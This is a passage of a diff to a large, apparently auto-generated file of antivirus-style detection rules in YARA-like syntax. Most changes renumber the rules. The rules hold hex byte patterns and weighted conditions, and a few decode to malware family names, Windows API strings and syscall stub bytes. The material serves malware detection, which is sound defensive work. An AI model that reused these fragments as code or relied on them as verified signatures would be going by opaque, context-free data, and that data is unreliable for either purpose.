5a 53 4d 64 57 77 67 5a 6c 51 00 00 78 34 01 00 0c 00 0c } //28672 + $a_3a_7 = {78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 65 6c 6d 6f 6e 74 2e 5a 41 21 64 68 61 00 01 00 0b 00 4c 8b d1 b8 5c 10 00 00 0f 05 c3 01 00 0b 00 4c 8b d1 b8 3a 13 00 00 0f 05 c3 01 00 0b 00 4c 8b d1 b8 07 10 00 00 } //19521 + $a_01_8 = {00 0b 00 4c 8b d1 b8 71 14 00 00 0f 05 c3 01 00 0b 00 4c 8b d1 b8 6e 14 00 00 0f 05 c3 01 00 0b 00 4c 8b d1 b8 69 14 00 00 0f 05 c3 01 00 16 01 50 73 49 6e 69 74 69 61 6c 53 79 73 74 65 6d 50 72 6f 63 65 73 73 01 00 0b 01 67 53 68 61 72 65 64 49 6e 66 6f 01 00 14 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 73 55 73 65 72 41 01 00 0d 00 53 65 74 42 69 74 6d 61 70 42 69 74 73 01 00 0c 00 43 72 65 61 74 65 42 69 74 6d 61 70 01 00 17 00 43 72 65 61 74 65 41 63 63 65 6c 65 72 61 74 6f 72 54 61 62 6c 65 41 01 00 10 00 47 65 74 4b 65 79 62 6f 61 72 64 53 74 61 74 65 01 00 10 00 53 65 } //1295 + $a_79_9 = {6f 61 72 64 53 74 61 74 65 01 00 06 00 48 b9 00 20 00 00 00 00 78 34 01 00 0f 00 0f 00 0e 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 52 48 57 21 4d 54 42 00 02 00 1f 03 50 45 00 00 4c 01 03 90 01 11 0b 01 0b 00 00 60 05 00 00 08 00 00 00 00 00 00 ee 7f } //19316 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_2e_2 & 1)*25710+(#a_23_3 & 1)*6+(#a_64_4 & 1)*27936+(#a_11_5 & 1)*28672+(#a_3a_7 & 1)*19521+(#a_01_8 & 1)*1295+(#a_79_9 & 1)*19316) >=10 + +} +rule _InfrastructureShared_18717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -210126,7 +224086,7 @@ rule _InfrastructureShared_17570{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*24941+(#a_75_2 & 1)*31347+(#a_6c_3 & 1)*26487+(#a_00_4 & 1)*-15611+(#a_d1_5 & 1)*19456) >=11 } -rule _InfrastructureShared_17571{ +rule _InfrastructureShared_18718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 21 " @@ -210150,7 +224110,7 @@ rule _InfrastructureShared_17571{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*11+(#a_01_2 & 1)*26222+(#a_6f_3 & 1)*31077+(#a_00_4 & 1)*1407+(#a_00_5 & 1)*110+(#a_57_6 & 1)*28257+(#a_65_7 & 1)*28788+(#a_42_8 & 1)*18433+(#a_65_9 & 1)*25705+(#a_8c_10 & 1)*9284+(#a_f9_11 & 1)*0+(#a_37_12 & 1)*13878+(#a_63_13 & 1)*12340+(#a_30_14 & 1)*14177) >=12 } -rule _InfrastructureShared_17572{ +rule _InfrastructureShared_18719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0e 00 21 " @@ -210172,7 +224132,7 @@ rule _InfrastructureShared_17572{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10+(#a_00_2 & 1)*67+(#a_78_3 & 1)*11804+(#a_8b_4 & 1)*846+(#a_48_6 & 1)*-32512+(#a_04_7 & 1)*-28522+(#a_04_8 & 1)*-28488+(#a_8b_9 & 1)*649+(#a_01_10 & 1)*-28598+(#a_01_11 & 1)*-28598+(#a_80_12 & 1)*400+(#a_83_13 & 1)*257) >=15 } -rule _InfrastructureShared_17573{ +rule _InfrastructureShared_18720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 15 00 04 00 21 " @@ -210185,7 +224145,7 @@ rule _InfrastructureShared_17573{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26978+(#a_4a_2 & 1)*3841+(#a_00_3 & 1)*28588) >=21 } -rule _InfrastructureShared_17574{ +rule _InfrastructureShared_18721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -210195,7 +224155,7 @@ rule _InfrastructureShared_17574{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_17575{ +rule _InfrastructureShared_18722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -210210,7 +224170,7 @@ rule _InfrastructureShared_17575{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*11575+(#a_36_2 & 1)*12801+(#a_62_3 & 1)*25393+(#a_37_4 & 1)*14182+(#a_ff_5 & 1)*1042) >=1 } -rule _InfrastructureShared_17576{ +rule _InfrastructureShared_18723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 04 00 21 " @@ -210222,7 +224182,7 @@ rule _InfrastructureShared_17576{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26728+(#a_99_2 & 1)*-26199) >=1 } -rule _InfrastructureShared_17577{ +rule _InfrastructureShared_18724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -210234,7 +224194,7 @@ rule _InfrastructureShared_17577{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*2835+(#a_00_2 & 1)*11277) >=3 } -rule _InfrastructureShared_17578{ +rule _InfrastructureShared_18725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -210246,7 +224206,7 @@ rule _InfrastructureShared_17578{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*2579+(#a_00_2 & 1)*11276) >=3 } -rule _InfrastructureShared_17579{ +rule _InfrastructureShared_18726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -210256,7 +224216,7 @@ rule _InfrastructureShared_17579{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17580{ +rule _InfrastructureShared_18727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -210269,7 +224229,7 @@ rule _InfrastructureShared_17580{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2560+(#a_02_3 & 1)*-28546+(#a_01_4 & 1)*32266) >=4 } -rule _InfrastructureShared_17581{ +rule _InfrastructureShared_18728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -210283,7 +224243,7 @@ rule _InfrastructureShared_17581{ ((#a_6e_0 & 1)*21027+(#a_65_1 & 1)*28229+(#a_65_2 & 1)*28021+(#a_70_3 & 1)*29298+(#a_90_4 & 1)*4098) >=4 } -rule _InfrastructureShared_17582{ +rule _InfrastructureShared_18729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -210297,7 +224257,7 @@ rule _InfrastructureShared_17582{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*257+(#a_00_2 & 1)*2448+(#a_61_3 & 1)*281+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_17583{ +rule _InfrastructureShared_18730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -210310,7 +224270,7 @@ rule _InfrastructureShared_17583{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_2d_2 & 1)*2305+(#a_2d_4 & 1)*2305) >=5 } -rule _InfrastructureShared_17584{ +rule _InfrastructureShared_18731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -210323,7 +224283,7 @@ rule _InfrastructureShared_17584{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*27022+(#a_05_2 & 1)*1553+(#a_11_4 & 1)*0) >=5 } -rule _InfrastructureShared_17585{ +rule _InfrastructureShared_18732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -210339,7 +224299,7 @@ rule _InfrastructureShared_17585{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*47+(#a_2d_2 & 1)*28001+(#a_00_4 & 1)*13688+(#a_53_6 & 1)*8448+(#a_00_7 & 1)*17481+(#a_6f_8 & 1)*8192) >=5 } -rule _InfrastructureShared_17586{ +rule _InfrastructureShared_18733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -210351,7 +224311,7 @@ rule _InfrastructureShared_17586{ ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*24934+(#a_00_3 & 1)*114) >=6 } -rule _InfrastructureShared_17587{ +rule _InfrastructureShared_18734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -210367,7 +224327,7 @@ rule _InfrastructureShared_17587{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*30017+(#a_69_2 & 1)*29285+(#a_44_3 & 1)*19529+(#a_54_4 & 1)*27749+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=6 } -rule _InfrastructureShared_17588{ +rule _InfrastructureShared_18735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -210386,7 +224346,7 @@ rule _InfrastructureShared_17588{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*21505+(#a_70_2 & 1)*29252+(#a_00_3 & 1)*9+(#a_52_4 & 1)*20556+(#a_00_5 & 1)*4098+(#a_74_6 & 1)*27491+(#a_65_7 & 1)*26994+(#a_50_8 & 1)*29285+(#a_72_9 & 1)*28531) >=7 } -rule _InfrastructureShared_17589{ +rule _InfrastructureShared_18736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 06 00 09 00 21 " @@ -210404,7 +224364,7 @@ rule _InfrastructureShared_17589{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*51+(#a_00_2 & 1)*29295+(#a_73_3 & 1)*28265+(#a_72_4 & 1)*30318+(#a_5f_5 & 1)*29793+(#a_63_6 & 1)*2560+(#a_63_7 & 1)*30789+(#a_65_8 & 1)*270) >=6 } -rule _InfrastructureShared_17590{ +rule _InfrastructureShared_18737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0b 00 21 " @@ -210424,7 +224384,7 @@ rule _InfrastructureShared_17590{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29541+(#a_65_2 & 1)*28271+(#a_44_3 & 1)*4864+(#a_65_4 & 1)*28528+(#a_30_5 & 1)*12660+(#a_00_6 & 1)*26478+(#a_4d_7 & 1)*20225+(#a_6c_8 & 1)*272+(#a_45_9 & 1)*1020+(#a_6f_10 & 1)*17863) >=14 } -rule _InfrastructureShared_17591{ +rule _InfrastructureShared_18738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -210446,7 +224406,7 @@ rule _InfrastructureShared_17591{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*3584+(#a_61_2 & 1)*27758+(#a_6e_3 & 1)*27723+(#a_69_4 & 1)*14934+(#a_6c_5 & 1)*25646+(#a_ff_6 & 1)*-31289+(#a_68_7 & 1)*28498+(#a_2d_9 & 1)*2305+(#a_01_10 & 1)*-28672+(#a_85_11 & 1)*-56+(#a_66_12 & 1)*28492+(#a_00_14 & 1)*114) >=15 } -rule _InfrastructureShared_17592{ +rule _InfrastructureShared_18739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -210456,7 +224416,7 @@ rule _InfrastructureShared_17592{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_17593{ +rule _InfrastructureShared_18740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -210470,7 +224430,7 @@ rule _InfrastructureShared_17593{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*25971+(#a_61_2 & 1)*29545+(#a_0c_3 & 1)*-21517+(#a_00_4 & 1)*112) >=2 } -rule _InfrastructureShared_17594{ +rule _InfrastructureShared_18741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -210483,7 +224443,7 @@ rule _InfrastructureShared_17594{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*107+(#a_00_3 & 1)*32+(#a_00_4 & 1)*30026) >=2 } -rule _InfrastructureShared_17595{ +rule _InfrastructureShared_18742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -210496,7 +224456,7 @@ rule _InfrastructureShared_17595{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*114+(#a_00_4 & 1)*114+(#a_25_5 & 1)*29283) >=2 } -rule _InfrastructureShared_17596{ +rule _InfrastructureShared_18743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -210515,7 +224475,7 @@ rule _InfrastructureShared_17596{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*21327+(#a_32_2 & 1)*25460+(#a_74_3 & 1)*30052+(#a_21_4 & 1)*11898+(#a_00_5 & 1)*144+(#a_53_6 & 1)*21763+(#a_35_7 & 1)*1419+(#a_90_8 & 1)*-30392+(#a_70_9 & 1)*-10118) >=2 } -rule _InfrastructureShared_17597{ +rule _InfrastructureShared_18744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -210528,7 +224488,7 @@ rule _InfrastructureShared_17597{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-12151+(#a_78_2 & 1)*-30392+(#a_23_3 & 1)*28714) >=4 } -rule _InfrastructureShared_17598{ +rule _InfrastructureShared_18745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -210542,7 +224502,7 @@ rule _InfrastructureShared_17598{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*14449+(#a_38_2 & 1)*10360+(#a_00_3 & 1)*1+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_17599{ +rule _InfrastructureShared_18746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -210552,7 +224512,7 @@ rule _InfrastructureShared_17599{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_17600{ +rule _InfrastructureShared_18747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -210566,7 +224526,7 @@ rule _InfrastructureShared_17600{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*2323+(#a_91_2 & 1)*1041+(#a_4c_3 & 1)*24949+(#a_00_4 & 1)*97) >=5 } -rule _InfrastructureShared_17601{ +rule _InfrastructureShared_18748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -210582,7 +224542,7 @@ rule _InfrastructureShared_17601{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*22834+(#a_6d_2 & 1)*20069+(#a_4e_3 & 1)*400+(#a_00_4 & 1)*8805+(#a_01_8 & 1)*-28672+(#a_00_9 & 1)*0) >=5 } -rule _InfrastructureShared_17602{ +rule _InfrastructureShared_18749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -210595,7 +224555,7 @@ rule _InfrastructureShared_17602{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*-28672+(#a_00_3 & 1)*0+(#a_00_4 & 1)*0) >=6 } -rule _InfrastructureShared_17603{ +rule _InfrastructureShared_18750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -210611,7 +224571,7 @@ rule _InfrastructureShared_17603{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*30575+(#a_73_2 & 1)*17500+(#a_00_3 & 1)*7+(#a_72_4 & 1)*14930+(#a_68_5 & 1)*11890+(#a_63_6 & 1)*25464) >=7 } -rule _InfrastructureShared_17604{ +rule _InfrastructureShared_18751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -210627,7 +224587,7 @@ rule _InfrastructureShared_17604{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*28257+(#a_78_2 & 1)*385+(#a_6c_3 & 1)*25938+(#a_44_4 & 1)*19268+(#a_4b_5 & 1)*19274+(#a_65_6 & 1)*17153) >=7 } -rule _InfrastructureShared_17605{ +rule _InfrastructureShared_18752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -210643,7 +224603,7 @@ rule _InfrastructureShared_17605{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*17482+(#a_43_2 & 1)*16963+(#a_68_3 & 1)*24436+(#a_41_4 & 1)*27246+(#a_01_5 & 1)*17486+(#a_73_6 & 1)*17500) >=7 } -rule _InfrastructureShared_17606{ +rule _InfrastructureShared_18753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -210659,7 +224619,7 @@ rule _InfrastructureShared_17606{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11860+(#a_00_3 & 1)*110+(#a_6a_4 & 1)*28508+(#a_2e_5 & 1)*25970+(#a_6f_6 & 1)*29547+(#a_00_7 & 1)*13944) >=7 } -rule _InfrastructureShared_17607{ +rule _InfrastructureShared_18754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -210675,7 +224635,7 @@ rule _InfrastructureShared_17607{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29811+(#a_65_2 & 1)*26990+(#a_01_3 & 1)*30720+(#a_7a_4 & 1)*27765+(#a_6e_5 & 1)*26725+(#a_61_6 & 1)*14392) >=8 } -rule _InfrastructureShared_17608{ +rule _InfrastructureShared_18755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -210691,7 +224651,7 @@ rule _InfrastructureShared_17608{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26209+(#a_62_2 & 1)*27493+(#a_36_3 & 1)*0+(#a_00_5 & 1)*97+(#a_00_7 & 1)*144+(#a_72_8 & 1)*11777) >=9 } -rule _InfrastructureShared_17609{ +rule _InfrastructureShared_18756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -210706,7 +224666,7 @@ rule _InfrastructureShared_17609{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*47+(#a_74_2 & 1)*25968+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=14 } -rule _InfrastructureShared_17610{ +rule _InfrastructureShared_18757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -210728,7 +224688,7 @@ rule _InfrastructureShared_17610{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*21843+(#a_65_2 & 1)*385+(#a_01_3 & 1)*1792+(#a_6e_4 & 1)*31092+(#a_63_5 & 1)*24941+(#a_00_7 & 1)*69+(#a_4c_8 & 1)*17697+(#a_00_9 & 1)*82+(#a_00_10 & 1)*112+(#a_5c_11 & 1)*22108+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1) >=14 } -rule _InfrastructureShared_17611{ +rule _InfrastructureShared_18758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 09 00 21 " @@ -210744,7 +224704,7 @@ rule _InfrastructureShared_17611{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30051+(#a_00_3 & 1)*57+(#a_00_4 & 1)*68+(#a_65_5 & 1)*24943+(#a_00_6 & 1)*46+(#a_00_8 & 1)*97) >=26 } -rule _InfrastructureShared_17612{ +rule _InfrastructureShared_18759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,47 00 47 00 08 00 21 " @@ -210759,7 +224719,7 @@ rule _InfrastructureShared_17612{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*112+(#a_00_3 & 1)*100+(#a_00_4 & 1)*116+(#a_76_5 & 1)*25971+(#a_00_6 & 1)*111) >=71 } -rule _InfrastructureShared_17613{ +rule _InfrastructureShared_18760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " @@ -210771,7 +224731,7 @@ rule _InfrastructureShared_17613{ ((#a_77_0 & 1)*16675+(#a_6d_2 & 1)*29286+(#a_00_4 & 1)*99) >=100 } -rule _InfrastructureShared_17614{ +rule _InfrastructureShared_18761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " @@ -210783,7 +224743,7 @@ rule _InfrastructureShared_17614{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*42+(#a_00_3 & 1)*115) >=100 } -rule _InfrastructureShared_17615{ +rule _InfrastructureShared_18762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 0a 00 21 " @@ -210802,7 +224762,7 @@ rule _InfrastructureShared_17615{ ((#a_54_0 & 1)*18467+(#a_b1_1 & 1)*-17488+(#a_b3_2 & 1)*-18521+(#a_2d_3 & 1)*23085+(#a_72_4 & 1)*28531+(#a_73_5 & 1)*28730+(#a_00_6 & 1)*101+(#a_39_7 & 1)*12297+(#a_6b_8 & 1)*28488+(#a_5a_9 & 1)*16697) >=101 } -rule _InfrastructureShared_17616{ +rule _InfrastructureShared_18763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -210813,7 +224773,7 @@ rule _InfrastructureShared_17616{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46) >=1 } -rule _InfrastructureShared_17617{ +rule _InfrastructureShared_18764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -210824,7 +224784,7 @@ rule _InfrastructureShared_17617{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25443) >=2 } -rule _InfrastructureShared_17618{ +rule _InfrastructureShared_18765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -210835,7 +224795,7 @@ rule _InfrastructureShared_17618{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100) >=2 } -rule _InfrastructureShared_17619{ +rule _InfrastructureShared_18766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -210851,7 +224811,7 @@ rule _InfrastructureShared_17619{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*280+(#a_00_2 & 1)*56+(#a_00_3 & 1)*52+(#a_00_4 & 1)*69+(#a_52_5 & 1)*21320+(#a_00_6 & 1)*67) >=2 } -rule _InfrastructureShared_17620{ +rule _InfrastructureShared_18767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -210862,7 +224822,7 @@ rule _InfrastructureShared_17620{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_17621{ +rule _InfrastructureShared_18768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -210874,7 +224834,7 @@ rule _InfrastructureShared_17621{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*58+(#a_00_4 & 1)*101) >=3 } -rule _InfrastructureShared_17622{ +rule _InfrastructureShared_18769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -210888,7 +224848,7 @@ rule _InfrastructureShared_17622{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*25972+(#a_2d_2 & 1)*31277+(#a_dd_3 & 1)*-6143+(#a_10_4 & 1)*-29588) >=3 } -rule _InfrastructureShared_17623{ +rule _InfrastructureShared_18770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -210901,7 +224861,7 @@ rule _InfrastructureShared_17623{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*400+(#a_c4_2 & 1)*18436+(#a_90_3 & 1)*17410) >=4 } -rule _InfrastructureShared_17624{ +rule _InfrastructureShared_18771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -210915,7 +224875,7 @@ rule _InfrastructureShared_17624{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_7a_2 & 1)*24922+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=4 } -rule _InfrastructureShared_17625{ +rule _InfrastructureShared_18772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -210929,7 +224889,7 @@ rule _InfrastructureShared_17625{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*117+(#a_00_2 & 1)*67+(#a_23_3 & 1)*9+(#a_46_4 & 1)*13623) >=4 } -rule _InfrastructureShared_17626{ +rule _InfrastructureShared_18773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -210946,7 +224906,7 @@ rule _InfrastructureShared_17626{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*17729+(#a_38_2 & 1)*13621+(#a_02_3 & 1)*17973+(#a_41_4 & 1)*14658+(#a_61_5 & 1)*28530+(#a_00_7 & 1)*116+(#a_00_8 & 1)*101) >=4 } -rule _InfrastructureShared_17627{ +rule _InfrastructureShared_18774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -210959,7 +224919,7 @@ rule _InfrastructureShared_17627{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*104+(#a_00_4 & 1)*118+(#a_78_5 & 1)*11890) >=6 } -rule _InfrastructureShared_17628{ +rule _InfrastructureShared_18775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -210974,7 +224934,7 @@ rule _InfrastructureShared_17628{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29285+(#a_6e_2 & 1)*25955+(#a_71_3 & 1)*29041+(#a_8b_4 & 1)*-14717+(#a_45_5 & 1)*0) >=6 } -rule _InfrastructureShared_17629{ +rule _InfrastructureShared_18776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -210991,7 +224951,7 @@ rule _InfrastructureShared_17629{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-31936+(#a_30_2 & 1)*12594+(#a_54_3 & 1)*8501+(#a_fe_4 & 1)*14340+(#a_34_5 & 1)*11622+(#a_47_6 & 1)*19246+(#a_73_7 & 1)*27765) >=6 } -rule _InfrastructureShared_17630{ +rule _InfrastructureShared_18777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -211007,7 +224967,7 @@ rule _InfrastructureShared_17630{ ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*1024+(#a_ff_2 & 1)*-389+(#a_6c_3 & 1)*26229+(#a_61_4 & 1)*29281+(#a_2f_5 & 1)*18771+(#a_01_6 & 1)*25711) >=7 } -rule _InfrastructureShared_17631{ +rule _InfrastructureShared_18778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -211024,7 +224984,7 @@ rule _InfrastructureShared_17631{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_17632{ +rule _InfrastructureShared_18779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -211043,7 +225003,7 @@ rule _InfrastructureShared_17632{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25711+(#a_39_2 & 1)*14436+(#a_42_3 & 1)*28530+(#a_11_4 & 1)*4358+(#a_86_5 & 1)*1+(#a_11_6 & 